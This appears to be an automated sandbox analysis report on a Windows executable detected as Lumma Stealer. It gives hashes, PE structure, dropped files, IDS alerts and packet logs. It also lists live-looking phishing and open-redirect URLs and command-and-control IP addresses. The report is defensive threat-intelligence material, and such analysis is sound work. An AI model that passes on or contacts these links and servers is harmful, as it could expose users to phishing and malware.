	https://lumen.backerkit.com/invites/mAqpu6B5ZtIAsrg4a5WdGA/confirm?redirect_path=//rahul-garg-lcatterton-com.athuselevadores.com.br	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
	zmap.mips.elf	Get hash	malicious	Mirai, Okiru	Browse	172.65.204.32
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.206

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
a0e9f5d64349fb13191bc781f81f42e1	file.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	buNtKcYHCa.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	ST007 SWIFT CONFIRMATION.xls	Get hash	malicious	Unknown	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.96.3

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
C:\Users\user\AppData\Local\Temp\5C18KRB735WCGR95JY.exe	file.exe	Get hash	malicious	LummaC	Browse

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\5C18KRB735WCGR95JY.exe.log

Download File

Process:	C:\Users\user\AppData\Local\Temp\5C18KRB735WCGR95JY.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	226
Entropy (8bit):	5.360398796477698
Encrypted:	false
SSDEEP:	6:Q3La/xw5DLIP12MUAvvR+uTL2ql2ABgTv:Q3La/KDLI4MWuPTAv
MD5:	3A8957C6382192B71471BD14359D0B12
SHA1:	71B96C965B65A051E7E7D10F61BEBD8CCBB88587
SHA-256:	282FBEFDDCFAA0A9DBDEE6E123791FC4B8CB870AE9D450E6394D2ACDA3D8F56D
SHA-512:	76C108641F682F785A97017728ED51565C4F74B61B24E190468E3A2843FCC43615C6C8ABE298750AF238D7A44E97C001E3BE427B49900432F905A7CE114AA9AD
Malicious:	false
Reputation:	high, very likely benign file
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..

C:\Users\user\AppData\Local\Temp\5C18KRB735WCGR95JY.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2824192
Entropy (8bit):	6.491400833377267
Encrypted:	false
SSDEEP:	49152:f+H0blg6euZzLEKMjvDf6dVIVTt9/bgXoILiT4Rb:2H0blg6euZq7f63Itt9QoILg49
MD5:	0CAB4E68256893B0F192DC808E0AC5DB
SHA1:	918724CACA9720773F4A28F398B165512DD2C318
SHA-256:	B43D6D2B26EE6CCF34479155C35467EED58B4085D7269C0560D2E260C6D7611F
SHA-512:	94B4E15B35B755FE7C651C656498CD2F86397238C1EE9FEC0CB61C569EC8543BF0DC88364F405403831467BAD82DCBDE1CF90FBB4C58A4CD64883A9BDF3B71CC
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse
Reputation:	low
Preview:	MZ......................@...........z...................................!..L.!This program cannot be run in DOS mode....$.......PE..L...P(,e.........."...0..$............+.. ...`....@.. ........................+.....p\+...`.................................U...i....`.............................................................................................................. . .@... ....... ..............@....rsrc........`.......2..............@....idata . ...........8..............@...kaxzithc...........:..............@...nikdhiya. ...`+....................@....taggant.@....+..".................@...................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	6.568588330102851
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	3'001'856 bytes
MD5:	1c74e2bcb64d619589af56e34e35984f
SHA1:	b565b12817e39b734451e91050f8c48e3183546c
SHA256:	e4b16cb9e924633cac4f4f9454613465b132b7191db0ceaf9db50333ba7c2c33
SHA512:	217f42cd325aa2da3e467795571e2f62f043833f842a1e9c9d0dcc291167cad4ac8d0912c540825a1cdc93735fdfac2d337f9870f039d3a9f3268d425ecfe43d
SSDEEP:	49152:lgp487dyk6b9DjuFjZ6Op/GoPdey3TuJeBk0GhlHGy:lga+dyvb9DjuFPuoPdey3SJkk0QQ
TLSH:	83D54A52A949E1CBD49E17789537CD82EA5D03B847200CC3AD6974BF7EA3DC21AB6C34
File Content Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L...S..g.................J............0...........@...........................1.....6U....@.................................T...h..

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x70e000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x6715D353 [Mon Oct 21 04:06:43 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007FBC146EF9BAh
shrd dword ptr [00000000h], ebp, 00000000h
jmp 00007FBC146F19B5h
add byte ptr [edi], al
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [0700000Ah], al
or al, byte ptr [eax]
add byte ptr [edx], al
or al, byte ptr [eax]
add byte ptr [edx+ecx], al
add byte ptr [eax], al
add dword ptr [edx], ecx
add byte ptr [eax], al
or ecx, dword ptr [edx]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add eax, 0000000Ah
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [esi], al
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
or ecx, dword ptr [edx]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
xor byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
xor eax, 00000000h
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x5a054	0x68	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x59000	0x340	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x5a1f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x58000	0x27e00	cc18d7a409491ddaa13ca14c38640ce8	False	0.9979978938087775	OpenPGP Secret Key	7.9704430907807815	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x59000	0x340	0x400	914cd139a383496d0085d499d138ef92	False	0.390625	data	4.997389973748798	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x5a000	0x1000	0x200	555a11fa24a077379003c187d9c9d020	False	0.14453125	data	0.9996515881509258	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
pyqjlwct	0x5b000	0x2b2000	0x2b1400	48befd17ab2e77314c16371a553a45d5	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
grnqerss	0x30d000	0x1000	0x400	0d9c26585ec17878abd4d6ce5af5f857	False	0.7783203125	data	6.158300024468254	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x30e000	0x3000	0x2200	fc8240eeb035481117ebc12f64eff473	False	0.06146599264705882	DOS executable (COM)	0.8012979301770005	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_MANIFEST	0x59058	0x2e6	XML 1.0 document, ASCII text, with CRLF line terminators			0.45417789757412397

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-10-29T17:59:15.574209+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.7	49710	188.114.96.3	443	TCP
2024-10-29T17:59:15.574209+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.7	49710	188.114.96.3	443	TCP
2024-10-29T17:59:16.875798+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.7	49721	188.114.96.3	443	TCP
2024-10-29T17:59:16.875798+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.7	49721	188.114.96.3	443	TCP
2024-10-29T17:59:47.144427+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.7	49727	188.114.96.3	443	TCP
2024-10-29T18:00:15.986606+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.7	49976	188.114.96.3	443	TCP
2024-10-29T18:00:16.921674+0100	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	2	192.168.2.7	49977	185.215.113.16	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 29, 2024 17:59:14.423010111 CET	49710	443	192.168.2.7	188.114.96.3
Oct 29, 2024 17:59:14.423038960 CET	443	49710	188.114.96.3	192.168.2.7
Oct 29, 2024 17:59:14.423127890 CET	49710	443	192.168.2.7	188.114.96.3
Oct 29, 2024 17:59:14.426211119 CET	49710	443	192.168.2.7	188.114.96.3
Oct 29, 2024 17:59:14.426222086 CET	443	49710	188.114.96.3	192.168.2.7
Oct 29, 2024 17:59:15.047935963 CET	443	49710	188.114.96.3	192.168.2.7
Oct 29, 2024 17:59:15.051019907 CET	49710	443	192.168.2.7	188.114.96.3
Oct 29, 2024 17:59:15.051733971 CET	49710	443	192.168.2.7	188.114.96.3
Oct 29, 2024 17:59:15.051748991 CET	443	49710	188.114.96.3	192.168.2.7
Oct 29, 2024 17:59:15.052087069 CET	443	49710	188.114.96.3	192.168.2.7
Oct 29, 2024 17:59:15.102111101 CET	49710	443	192.168.2.7	188.114.96.3
Oct 29, 2024 17:59:15.108125925 CET	49710	443	192.168.2.7	188.114.96.3
Oct 29, 2024 17:59:15.108125925 CET	49710	443	192.168.2.7	188.114.96.3
Oct 29, 2024 17:59:15.108270884 CET	443	49710	188.114.96.3	192.168.2.7
Oct 29, 2024 17:59:15.574218035 CET	443	49710	188.114.96.3	192.168.2.7
Oct 29, 2024 17:59:15.574296951 CET	443	49710	188.114.96.3	192.168.2.7
Oct 29, 2024 17:59:15.574368000 CET	49710	443	192.168.2.7	188.114.96.3
Oct 29, 2024 17:59:15.576548100 CET	49710	443	192.168.2.7	188.114.96.3
Oct 29, 2024 17:59:15.576548100 CET	49710	443	192.168.2.7	188.114.96.3
Oct 29, 2024 17:59:15.576564074 CET	443	49710	188.114.96.3	192.168.2.7
Oct 29, 2024 17:59:15.576580048 CET	443	49710	188.114.96.3	192.168.2.7
Oct 29, 2024 17:59:15.773196936 CET	49721	443	192.168.2.7	188.114.96.3
Oct 29, 2024 17:59:15.773263931 CET	443	49721	188.114.96.3	192.168.2.7
Oct 29, 2024 17:59:15.773338079 CET	49721	443	192.168.2.7	188.114.96.3
Oct 29, 2024 17:59:15.774211884 CET	49721	443	192.168.2.7	188.114.96.3
Oct 29, 2024 17:59:15.774224043 CET	443	49721	188.114.96.3	192.168.2.7
Oct 29, 2024 17:59:16.384680986 CET	443	49721	188.114.96.3	192.168.2.7
Oct 29, 2024 17:59:16.384808064 CET	49721	443	192.168.2.7	188.114.96.3
Oct 29, 2024 17:59:16.389966965 CET	49721	443	192.168.2.7	188.114.96.3
Oct 29, 2024 17:59:16.389975071 CET	443	49721	188.114.96.3	192.168.2.7
Oct 29, 2024 17:59:16.390206099 CET	443	49721	188.114.96.3	192.168.2.7
Oct 29, 2024 17:59:16.391848087 CET	49721	443	192.168.2.7	188.114.96.3
Oct 29, 2024 17:59:16.391889095 CET	49721	443	192.168.2.7	188.114.96.3
Oct 29, 2024 17:59:16.391906977 CET	443	49721	188.114.96.3	192.168.2.7
Oct 29, 2024 17:59:16.875816107 CET	443	49721	188.114.96.3	192.168.2.7
Oct 29, 2024 17:59:16.875847101 CET	443	49721	188.114.96.3	192.168.2.7
Oct 29, 2024 17:59:16.875868082 CET	443	49721	188.114.96.3	192.168.2.7
Oct 29, 2024 17:59:16.875886917 CET	443	49721	188.114.96.3	192.168.2.7
Oct 29, 2024 17:59:16.875904083 CET	443	49721	188.114.96.3	192.168.2.7
Oct 29, 2024 17:59:16.875916004 CET	443	49721	188.114.96.3	192.168.2.7
Oct 29, 2024 17:59:16.875947952 CET	443	49721	188.114.96.3	192.168.2.7
Oct 29, 2024 17:59:16.876004934 CET	49721	443	192.168.2.7	188.114.96.3
Oct 29, 2024 17:59:16.876048088 CET	443	49721	188.114.96.3	192.168.2.7
Oct 29, 2024 17:59:16.876064062 CET	49721	443	192.168.2.7	188.114.96.3
Oct 29, 2024 17:59:16.876108885 CET	49721	443	192.168.2.7	188.114.96.3
Oct 29, 2024 17:59:16.876404047 CET	443	49721	188.114.96.3	192.168.2.7
Oct 29, 2024 17:59:16.930298090 CET	49721	443	192.168.2.7	188.114.96.3
Oct 29, 2024 17:59:16.930326939 CET	443	49721	188.114.96.3	192.168.2.7
Oct 29, 2024 17:59:16.977200031 CET	49721	443	192.168.2.7	188.114.96.3
Oct 29, 2024 17:59:16.993046999 CET	443	49721	188.114.96.3	192.168.2.7
Oct 29, 2024 17:59:16.993105888 CET	443	49721	188.114.96.3	192.168.2.7
Oct 29, 2024 17:59:16.993133068 CET	443	49721	188.114.96.3	192.168.2.7
Oct 29, 2024 17:59:16.993150949 CET	443	49721	188.114.96.3	192.168.2.7
Oct 29, 2024 17:59:16.993221045 CET	49721	443	192.168.2.7	188.114.96.3
Oct 29, 2024 17:59:16.993233919 CET	443	49721	188.114.96.3	192.168.2.7
Oct 29, 2024 17:59:16.993263006 CET	49721	443	192.168.2.7	188.114.96.3
Oct 29, 2024 17:59:16.993297100 CET	49721	443	192.168.2.7	188.114.96.3
Oct 29, 2024 17:59:16.993520975 CET	49721	443	192.168.2.7	188.114.96.3
Oct 29, 2024 17:59:16.993545055 CET	443	49721	188.114.96.3	192.168.2.7
Oct 29, 2024 17:59:16.993560076 CET	49721	443	192.168.2.7	188.114.96.3
Oct 29, 2024 17:59:16.993566036 CET	443	49721	188.114.96.3	192.168.2.7
Oct 29, 2024 17:59:17.087723970 CET	49727	443	192.168.2.7	188.114.96.3
Oct 29, 2024 17:59:17.087764978 CET	443	49727	188.114.96.3	192.168.2.7
Oct 29, 2024 17:59:17.087899923 CET	49727	443	192.168.2.7	188.114.96.3
Oct 29, 2024 17:59:17.088224888 CET	49727	443	192.168.2.7	188.114.96.3
Oct 29, 2024 17:59:17.088243008 CET	443	49727	188.114.96.3	192.168.2.7
Oct 29, 2024 17:59:17.839173079 CET	443	49727	188.114.96.3	192.168.2.7
Oct 29, 2024 17:59:17.839359999 CET	49727	443	192.168.2.7	188.114.96.3
Oct 29, 2024 17:59:17.840962887 CET	49727	443	192.168.2.7	188.114.96.3
Oct 29, 2024 17:59:17.840985060 CET	443	49727	188.114.96.3	192.168.2.7
Oct 29, 2024 17:59:17.841260910 CET	443	49727	188.114.96.3	192.168.2.7
Oct 29, 2024 17:59:17.842638016 CET	49727	443	192.168.2.7	188.114.96.3
Oct 29, 2024 17:59:17.842776060 CET	49727	443	192.168.2.7	188.114.96.3
Oct 29, 2024 17:59:17.842822075 CET	443	49727	188.114.96.3	192.168.2.7
Oct 29, 2024 17:59:47.144453049 CET	443	49727	188.114.96.3	192.168.2.7
Oct 29, 2024 17:59:47.144567013 CET	443	49727	188.114.96.3	192.168.2.7
Oct 29, 2024 17:59:47.144711971 CET	49727	443	192.168.2.7	188.114.96.3
Oct 29, 2024 17:59:47.157798052 CET	49727	443	192.168.2.7	188.114.96.3
Oct 29, 2024 17:59:47.157830000 CET	443	49727	188.114.96.3	192.168.2.7
Oct 29, 2024 17:59:47.590838909 CET	49893	443	192.168.2.7	188.114.96.3
Oct 29, 2024 17:59:47.590884924 CET	443	49893	188.114.96.3	192.168.2.7
Oct 29, 2024 17:59:47.590985060 CET	49893	443	192.168.2.7	188.114.96.3
Oct 29, 2024 17:59:47.591361046 CET	49893	443	192.168.2.7	188.114.96.3
Oct 29, 2024 17:59:47.591376066 CET	443	49893	188.114.96.3	192.168.2.7
Oct 29, 2024 17:59:48.244324923 CET	443	49893	188.114.96.3	192.168.2.7
Oct 29, 2024 17:59:48.244415045 CET	49893	443	192.168.2.7	188.114.96.3
Oct 29, 2024 17:59:48.247381926 CET	49893	443	192.168.2.7	188.114.96.3
Oct 29, 2024 17:59:48.247395039 CET	443	49893	188.114.96.3	192.168.2.7
Oct 29, 2024 17:59:48.247621059 CET	443	49893	188.114.96.3	192.168.2.7
Oct 29, 2024 17:59:48.256722927 CET	49893	443	192.168.2.7	188.114.96.3
Oct 29, 2024 17:59:48.256867886 CET	49893	443	192.168.2.7	188.114.96.3
Oct 29, 2024 17:59:48.256891012 CET	443	49893	188.114.96.3	192.168.2.7
Oct 29, 2024 17:59:48.256953001 CET	49893	443	192.168.2.7	188.114.96.3
Oct 29, 2024 17:59:48.256958961 CET	443	49893	188.114.96.3	192.168.2.7
Oct 29, 2024 17:59:48.804534912 CET	443	49893	188.114.96.3	192.168.2.7
Oct 29, 2024 17:59:48.804666996 CET	443	49893	188.114.96.3	192.168.2.7
Oct 29, 2024 17:59:48.804728031 CET	49893	443	192.168.2.7	188.114.96.3
Oct 29, 2024 17:59:48.804866076 CET	49893	443	192.168.2.7	188.114.96.3
Oct 29, 2024 17:59:48.804888010 CET	443	49893	188.114.96.3	192.168.2.7
Oct 29, 2024 17:59:49.076965094 CET	49901	443	192.168.2.7	188.114.96.3
Oct 29, 2024 17:59:49.077025890 CET	443	49901	188.114.96.3	192.168.2.7
Oct 29, 2024 17:59:49.077138901 CET	49901	443	192.168.2.7	188.114.96.3
Oct 29, 2024 17:59:49.077485085 CET	49901	443	192.168.2.7	188.114.96.3
Oct 29, 2024 17:59:49.077498913 CET	443	49901	188.114.96.3	192.168.2.7
Oct 29, 2024 17:59:49.708717108 CET	443	49901	188.114.96.3	192.168.2.7
Oct 29, 2024 17:59:49.708839893 CET	49901	443	192.168.2.7	188.114.96.3
Oct 29, 2024 17:59:49.710231066 CET	49901	443	192.168.2.7	188.114.96.3
Oct 29, 2024 17:59:49.710247040 CET	443	49901	188.114.96.3	192.168.2.7
Oct 29, 2024 17:59:49.710608006 CET	443	49901	188.114.96.3	192.168.2.7
Oct 29, 2024 17:59:49.712371111 CET	49901	443	192.168.2.7	188.114.96.3
Oct 29, 2024 17:59:49.712528944 CET	49901	443	192.168.2.7	188.114.96.3
Oct 29, 2024 17:59:49.712563038 CET	443	49901	188.114.96.3	192.168.2.7
Oct 29, 2024 17:59:49.712642908 CET	49901	443	192.168.2.7	188.114.96.3
Oct 29, 2024 17:59:49.712650061 CET	443	49901	188.114.96.3	192.168.2.7
Oct 29, 2024 17:59:50.453866005 CET	443	49901	188.114.96.3	192.168.2.7
Oct 29, 2024 17:59:50.454121113 CET	49901	443	192.168.2.7	188.114.96.3
Oct 29, 2024 17:59:50.454130888 CET	443	49901	188.114.96.3	192.168.2.7
Oct 29, 2024 17:59:50.454184055 CET	49901	443	192.168.2.7	188.114.96.3
Oct 29, 2024 17:59:50.724390030 CET	49911	443	192.168.2.7	188.114.96.3
Oct 29, 2024 17:59:50.724431992 CET	443	49911	188.114.96.3	192.168.2.7
Oct 29, 2024 17:59:50.724514008 CET	49911	443	192.168.2.7	188.114.96.3
Oct 29, 2024 17:59:50.724833012 CET	49911	443	192.168.2.7	188.114.96.3
Oct 29, 2024 17:59:50.724847078 CET	443	49911	188.114.96.3	192.168.2.7
Oct 29, 2024 17:59:51.347517014 CET	443	49911	188.114.96.3	192.168.2.7
Oct 29, 2024 17:59:51.347610950 CET	49911	443	192.168.2.7	188.114.96.3
Oct 29, 2024 17:59:51.348805904 CET	49911	443	192.168.2.7	188.114.96.3
Oct 29, 2024 17:59:51.348814011 CET	443	49911	188.114.96.3	192.168.2.7
Oct 29, 2024 17:59:51.349092960 CET	443	49911	188.114.96.3	192.168.2.7
Oct 29, 2024 17:59:51.350344896 CET	49911	443	192.168.2.7	188.114.96.3
Oct 29, 2024 17:59:51.350455999 CET	49911	443	192.168.2.7	188.114.96.3
Oct 29, 2024 17:59:51.350461960 CET	443	49911	188.114.96.3	192.168.2.7
Oct 29, 2024 18:00:09.480647087 CET	443	49911	188.114.96.3	192.168.2.7
Oct 29, 2024 18:00:09.480756044 CET	443	49911	188.114.96.3	192.168.2.7
Oct 29, 2024 18:00:09.480954885 CET	49911	443	192.168.2.7	188.114.96.3
Oct 29, 2024 18:00:09.481194019 CET	49911	443	192.168.2.7	188.114.96.3
Oct 29, 2024 18:00:09.481215954 CET	443	49911	188.114.96.3	192.168.2.7
Oct 29, 2024 18:00:09.965873003 CET	49975	443	192.168.2.7	188.114.96.3
Oct 29, 2024 18:00:09.965928078 CET	443	49975	188.114.96.3	192.168.2.7
Oct 29, 2024 18:00:09.966044903 CET	49975	443	192.168.2.7	188.114.96.3
Oct 29, 2024 18:00:09.966386080 CET	49975	443	192.168.2.7	188.114.96.3
Oct 29, 2024 18:00:09.966397047 CET	443	49975	188.114.96.3	192.168.2.7
Oct 29, 2024 18:00:10.599769115 CET	443	49975	188.114.96.3	192.168.2.7
Oct 29, 2024 18:00:10.599853039 CET	49975	443	192.168.2.7	188.114.96.3
Oct 29, 2024 18:00:10.601578951 CET	49975	443	192.168.2.7	188.114.96.3
Oct 29, 2024 18:00:10.601607084 CET	443	49975	188.114.96.3	192.168.2.7
Oct 29, 2024 18:00:10.601994991 CET	443	49975	188.114.96.3	192.168.2.7
Oct 29, 2024 18:00:10.603338957 CET	49975	443	192.168.2.7	188.114.96.3
Oct 29, 2024 18:00:10.604232073 CET	49975	443	192.168.2.7	188.114.96.3
Oct 29, 2024 18:00:10.604268074 CET	443	49975	188.114.96.3	192.168.2.7
Oct 29, 2024 18:00:10.604366064 CET	49975	443	192.168.2.7	188.114.96.3
Oct 29, 2024 18:00:10.604392052 CET	443	49975	188.114.96.3	192.168.2.7
Oct 29, 2024 18:00:10.604522943 CET	49975	443	192.168.2.7	188.114.96.3
Oct 29, 2024 18:00:10.604598999 CET	443	49975	188.114.96.3	192.168.2.7
Oct 29, 2024 18:00:10.604742050 CET	49975	443	192.168.2.7	188.114.96.3
Oct 29, 2024 18:00:10.604782104 CET	443	49975	188.114.96.3	192.168.2.7
Oct 29, 2024 18:00:10.604926109 CET	49975	443	192.168.2.7	188.114.96.3
Oct 29, 2024 18:00:10.604960918 CET	443	49975	188.114.96.3	192.168.2.7
Oct 29, 2024 18:00:10.605161905 CET	49975	443	192.168.2.7	188.114.96.3
Oct 29, 2024 18:00:10.605195045 CET	49975	443	192.168.2.7	188.114.96.3
Oct 29, 2024 18:00:10.605222940 CET	443	49975	188.114.96.3	192.168.2.7
Oct 29, 2024 18:00:10.605408907 CET	49975	443	192.168.2.7	188.114.96.3
Oct 29, 2024 18:00:10.605458021 CET	49975	443	192.168.2.7	188.114.96.3
Oct 29, 2024 18:00:10.633224964 CET	443	49975	188.114.96.3	192.168.2.7
Oct 29, 2024 18:00:10.633428097 CET	49975	443	192.168.2.7	188.114.96.3
Oct 29, 2024 18:00:10.633502007 CET	49975	443	192.168.2.7	188.114.96.3
Oct 29, 2024 18:00:10.633532047 CET	49975	443	192.168.2.7	188.114.96.3
Oct 29, 2024 18:00:10.633575916 CET	443	49975	188.114.96.3	192.168.2.7
Oct 29, 2024 18:00:10.633769989 CET	49975	443	192.168.2.7	188.114.96.3
Oct 29, 2024 18:00:10.633812904 CET	443	49975	188.114.96.3	192.168.2.7
Oct 29, 2024 18:00:10.633836985 CET	49975	443	192.168.2.7	188.114.96.3
Oct 29, 2024 18:00:10.633897066 CET	49975	443	192.168.2.7	188.114.96.3
Oct 29, 2024 18:00:10.634001017 CET	443	49975	188.114.96.3	192.168.2.7
Oct 29, 2024 18:00:10.639451981 CET	443	49975	188.114.96.3	192.168.2.7
Oct 29, 2024 18:00:14.293186903 CET	49975	443	192.168.2.7	188.114.96.3
Oct 29, 2024 18:00:14.346012115 CET	49976	443	192.168.2.7	188.114.96.3
Oct 29, 2024 18:00:14.346079111 CET	443	49976	188.114.96.3	192.168.2.7
Oct 29, 2024 18:00:14.346169949 CET	49976	443	192.168.2.7	188.114.96.3
Oct 29, 2024 18:00:14.346704006 CET	49976	443	192.168.2.7	188.114.96.3
Oct 29, 2024 18:00:14.346719980 CET	443	49976	188.114.96.3	192.168.2.7
Oct 29, 2024 18:00:15.469320059 CET	443	49976	188.114.96.3	192.168.2.7
Oct 29, 2024 18:00:15.469640970 CET	49976	443	192.168.2.7	188.114.96.3
Oct 29, 2024 18:00:15.471173048 CET	49976	443	192.168.2.7	188.114.96.3
Oct 29, 2024 18:00:15.471182108 CET	443	49976	188.114.96.3	192.168.2.7
Oct 29, 2024 18:00:15.471448898 CET	443	49976	188.114.96.3	192.168.2.7
Oct 29, 2024 18:00:15.472711086 CET	49976	443	192.168.2.7	188.114.96.3
Oct 29, 2024 18:00:15.472764969 CET	49976	443	192.168.2.7	188.114.96.3
Oct 29, 2024 18:00:15.472784996 CET	443	49976	188.114.96.3	192.168.2.7
Oct 29, 2024 18:00:15.986603975 CET	443	49976	188.114.96.3	192.168.2.7
Oct 29, 2024 18:00:15.986694098 CET	443	49976	188.114.96.3	192.168.2.7
Oct 29, 2024 18:00:15.986874104 CET	49976	443	192.168.2.7	188.114.96.3
